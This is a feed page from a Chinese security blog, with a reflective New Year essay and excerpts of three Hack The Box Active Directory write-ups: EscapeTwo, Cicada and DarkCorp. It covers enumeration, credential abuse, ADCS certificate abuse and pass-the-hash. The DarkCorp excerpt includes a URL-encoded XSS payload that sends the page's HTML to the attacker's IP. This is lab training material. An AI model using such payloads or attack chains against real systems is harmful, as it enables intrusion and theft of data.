BushSEC的被窝 - Active Directory攻防
type: channel
link: https://bushsec.cn/category/AD/
items: 新年特辑：仍在路上 置顶
items: EscapeTwo：域环境逃逸与权限提升
items: Cicada：初学者的域环境渗透实战
items: DarkCorp：深入企业的域控攻防

新年特辑：仍在路上 置顶
type: item
date: 2026-01-01T00:00:00+08:00
description: AI摘要：文章围绕“选择、成长与同行”展开，写给仍在前行中的人。作者认为，人生没有绝对正确的道路，当下所走的路就是当时最真实的选择，重要的不是结果，而是对自己内心的诚实与承担。通过“抛硬币的三秒真空”等意象，强调方向来自内心的悸动而非外界判断。文章也珍视同行者的陪伴，倡导与自己和解、接纳不确定与遗憾。最终传达出温柔而坚定的信念：只要持续前行，慢一点也没关系，每个人都会走向属于自己的位置。”钟表的指针周而复始，就像人的困惑、烦恼、软弱、摇摆不停。但最终，人们依旧要前进，就像你的指针，永远落在前方“在人生所有无声的选择里，最难的那一次，总会把你推向真正的自己。写在开头每个人的人生，都是一条独一无二的旅程。有时阳光明媚，路上花香扑鼻；有时风雨交加，泥泞遍地。我们无法预知下一刻的风景，也不能回到过去重新选择。但我们可以选择以怎样的姿态，走好脚下的每一步。无论你身处人生的哪个阶段，希望你读完之后，能微微停下，深深呼吸，然后坚定地往前走——因为...当下，就是你最好的路人总是会不自觉地，把自己没走的那条路美化到极致。 仿佛只要当初随便换个选择，现在的一切就会截然不同。 可也许—— 那条你没选的路上，你会因为放纵而变得臃肿，被讥笑； 我并不是悲观主义者，只是想告诉你： 另一条路同样可能不美好。 我们没法回到过去，也不可能重新做出选择。 既然你在当时做出了你能做出的最好选择，那就继续走下去。 这是你的路，你选择的路。 抓住现在，而不是沉迷过去、可能、未来。一枚硬币的三秒真空当硬币脱离指尖，在空中划出一道弧线，我们以为是在把命运交给偶然。 但其实—— 硬币抛起的从来不是正反，而是藏在心底沉浮的愿望。 那三秒的真空，是人生少有的坦诚。 所有犹豫、所有伪装、所有人设，都来不及跟上硬币的旋转。 你突然看清： 自己最害怕失去的是什么—— 是那个人，那个机会，还是那个你以为已经放下的自己？ 当硬币落地，你为那个未发生的结果松一口气，或心里一沉。 那一瞬间的 庆幸或失落，才是你灵魂真正的方向。 所以别问硬币落在了哪面。 问一问硬币落地时，你心里那道最轻微的涟漪。 它比任何占卜都更接近你的本质。 所有重要的选择，本质上不是选择未来，而是认清自己。可人真正需要的从来不是一个结果，而是一个让自己坦白的理由。我们把很多选择包装成“再想一想”“再等等吧”，其实心底早有答案，只是我们不敢面对——怕承担，怕后悔，怕承认某种渴望。可是硬币在空中旋转的那三秒，把所有逃避都摁下了暂停键。你忽然明白：你不是不知道自己想要什么，你只是还没准备好为了它付出代价。很多时候，我们不是在选择未来，而是在选择“愿不愿意为它负责”。抛硬币之所以让人心安，不是因为概率，而是因为它替我们揭开了那层最真实的自己。你会发现——多年以后你记不住那次究竟是正面落下还是反面落地，但你一定记得当时心里闪过的那一丝轻微、却刺眼的悸动。那种“终于看见了自己的心”的感觉，会成为你后来无数次决定中的底色。所以当你再遇见困难、迷茫、犹豫的时候，你无需再靠硬币来替你做决定。你只要回想起当年的那三秒，回想起那一瞬你的心往哪一边颤了一下。人生真正的方向，从不在硬币的落点里，而在你胸口那道微不可察、却无比诚实的震动。如果说选择是命运给的课题，那么那三秒的真空，就是你交出的最真实的答卷。你以为在找路，其实路在找你。曾有个朋友问过我：“你到底是怎么判断自己想走哪条路的？”我当时愣了一下——不是因为问题难，而是因为我忽然意识到：所谓的“方向”，好像从来不是某一天突然被我想明白的。我只告诉他一句很老实的话：“其实我也没多确定，只是每一次心里轻轻颤了一下，我就往那边迈了一步。也就是最简单的直觉。”我们常常以为方向要靠深思熟虑、靠别人点拨，靠一场灵光乍现；可后来你会发现，真正的方向往往藏在那些细小到几乎被忽略的瞬间——你在听到某句话时突然安静下来；你在面对某个机会时心跳莫名加快；你在做某件事时即使疲惫，却从不想放弃。这些微弱却真实的悸动，才是最稳定的指南针。也正因为如此，我才会越来越相信：我们所谓的“确定方向”，不是找到一个完美答案，而是有勇气承认自己心底的偏向——哪怕只有一点点。有时候我会突然意识到——原来长大的过程，并不是某一天突然懂了很多道理，而是在一次又一次撞南墙、摔跤、心软、心碎、重来之后，慢慢学会了不再那么急着为所有事给出答案。我们开始接受不确定，接受感情里有人来有人走，接受努力不一定有结果，接受遗憾永远不会彻底消失。可与此同时，我们也开始明白：每一个熬过的夜、挺住的崩溃、逼自己咽下的情绪，都在悄悄把我们变成更稳、更柔软、更有力量的人。成长不是变得刀枪不入，而是即使受过伤，依然愿意相信下一次依然值得全力以赴。也许你现在还看不清前路，也许生活的重量偶尔会压得你抬不起头，但没关系——你已经比昨天勇敢很多了。人生的路不是用来奔命的…

EscapeTwo：域环境逃逸与权限提升
type: item
date: 2025-07-28T22:45:00+08:00
description: AI摘要：该文章记录了一次域环境渗透测试，通过Nmap扫描发现目标，利用泄露的凭据访问共享文件，从中提取用户密码。随后，利用SQL Server的sa账户获取shell，发现数据库配置文件中的管理员密码。通过BloodHound分析权限，利用Ryan用户的WriteOwner权限修改CA_SVC密码，发现ADCS漏洞。最终，利用Certipy请求域管理员证书，获取NT哈希，成功以Administrator身份登录并获取root flag。虽然这篇评级是easy，但是对我来说还是蛮难的，至少是我做过的最难的easy评级了（）本机Ip：10.10.16.6目标ip：10.10.11.51首先nmap扫描nmap -sC -sV -Pn 10.10.11.51扫描结果Nmap scan report for 10.10.11.51 Host is up (0.32s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-28 09:41:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:21+00:00; -7h56m06s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-07-28T09:43:23+00:00; -7h56m06s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.51:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-07-2…

Cicada：初学者的域环境渗透实战
type: item
date: 2025-07-27T14:41:00+08:00
description: AI摘要：对目标IP进行Nmap扫描后，发现`cicada.htb`域名并加入hosts。通过`crackmapexec`工具，利用guest用户成功枚举SMB共享，发现HR共享目录并获取到默认密码。使用该密码成功登录用户michael.wrightson，枚举用户发现david.orelious的密码提示。利用david.orelious的密码访问DEV共享，获取Backup_script.ps1文件，得到emily.oscars的凭据并成功获取shell。利用emily.oscars的SeBackupPrivilege权限，导出SAM和SYSTEM文件，提取Administrator用户的NTLM哈希，最终通过Pass-the-Hash攻击获取Administrator权限，拿到root flag。本机ip：10.10.16.6目标ip：10.10.11.35nmap -sC -sV -Pn 10.10.11.35得到结果如下Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 03:54 (0:00:04 remaining) Nmap scan report for 10.10.11.35 Host is up (0.32s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-26 18:53:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Def…

DarkCorp：深入企业的域控攻防
type: item
date: 2025-07-22T22:44:00+08:00
description: AI摘要：该博客文章详细记录了 HTB 平台上 “DarkCorp” 靶场的渗透测试全过程。DarkCorp 是一道高难度(Insane)的企业内网靶机，模拟了一个拥有邮件系统、用户门户、数据库服务和 Windows 域环境的中大型公司网络。 作者首先利用 Nmap、Gobuster 等工具进行信息收集，发现多个子域与服务。通过邮件劫持和 XSS 注入获取重置链接，控制管理员账号后进一步发起 SQL 注入攻击，成功从 PostgreSQL 数据库中获取凭据，并建立反弹 shell。 在拿下初始主机权限后，作者深入内网，发现 Windows 域控服务，通过 BloodHound 收集权限图谱，再结合 LDAP 爆破与 GPO 权限配置，实现本地管理员权限提升。最终使用工具转储 hash，成功获取域控 SYSTEM 权限。引言Hack The Box 的赛季靶机 DarkCorp，难度 Insane。本文将带你以轻松的方式体验这场顶级难度的靶机挑战，深入剖析从外部突破到域管理员提权的完整过程。技术点涉及：端口扫描、子域枚举、目录爆破、XSS 漏洞利用（CVE-2024-42008）、SQL 注入、PostgreSQL 命令执行、凭据窃取、邮件伪造、内网转发、日志分析、密码破解、备份解密、BloodHound 域分析、GPO 权限滥用、AMSI 绕过、域管理员提权。目标与读者：网络安全爱好者、红队选手，适合对域渗透、Web 漏洞利用及 Active Directory 攻防感兴趣的从业者和学习者。本机ip：10.10.16.2目标ip：10.10.11.54nmap -sC -sV 10.10.11.54先直接访问，发现跳转到了http://drip.htb域名，但无法连接将域名和ip加入hostsecho "10.10.11.54 drip.htb" | sudo tee -a /etc/hosts能访问了，但http://drip.htb里什么都没有（）使用gobuster进行子域名爆破收集gobuster vhost -u http://drip.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain使用gobuster进行目录爆破收集gobuster dir -u http://drip.htb -t 20 -H 'User-Agent:Mozilla' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 401,403,404,500 -o 80.log将子域名加入hostsecho "10.10.11.54 mail.drip.htb" | sudo tee -a /etc/hosts发现可以sign up可以注册先注册一个账号1：bushsec密码1：123456登陆：没什么收获，我们重新注册一个用户，以root当作账户名账户2：root密码2：123456我们又有了两个收获一是获得两个用户名：ebelford和support。二是可以发现，每隔2分钟，网站会运行一个名为mail_clean.sh的脚本。从About选项卡可以看到邮件系统的信息接下来，我们把目光看向首页的Contact Us使用yakit劫持，将support%40drip.htb改成我们的邮箱地址root%40drip.htb在给support发邮件时，如果yakit中断并将地址改为我们的邮件地址，可以收到求助邮件，并得到 bcase用户名。yakit中断后，发送的原始内容如下。message= Foo &content=html&recipient=bcase@drip.htbbase64编码后如下。name=test&email=test%40test.com&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.16.2%2F%3Fc%3D%27%2Bbtoa%28document.documentElement.innerHTML%29%7D%29%29++foo%3Dbar%22%3E%0D%0A++Foo%0D…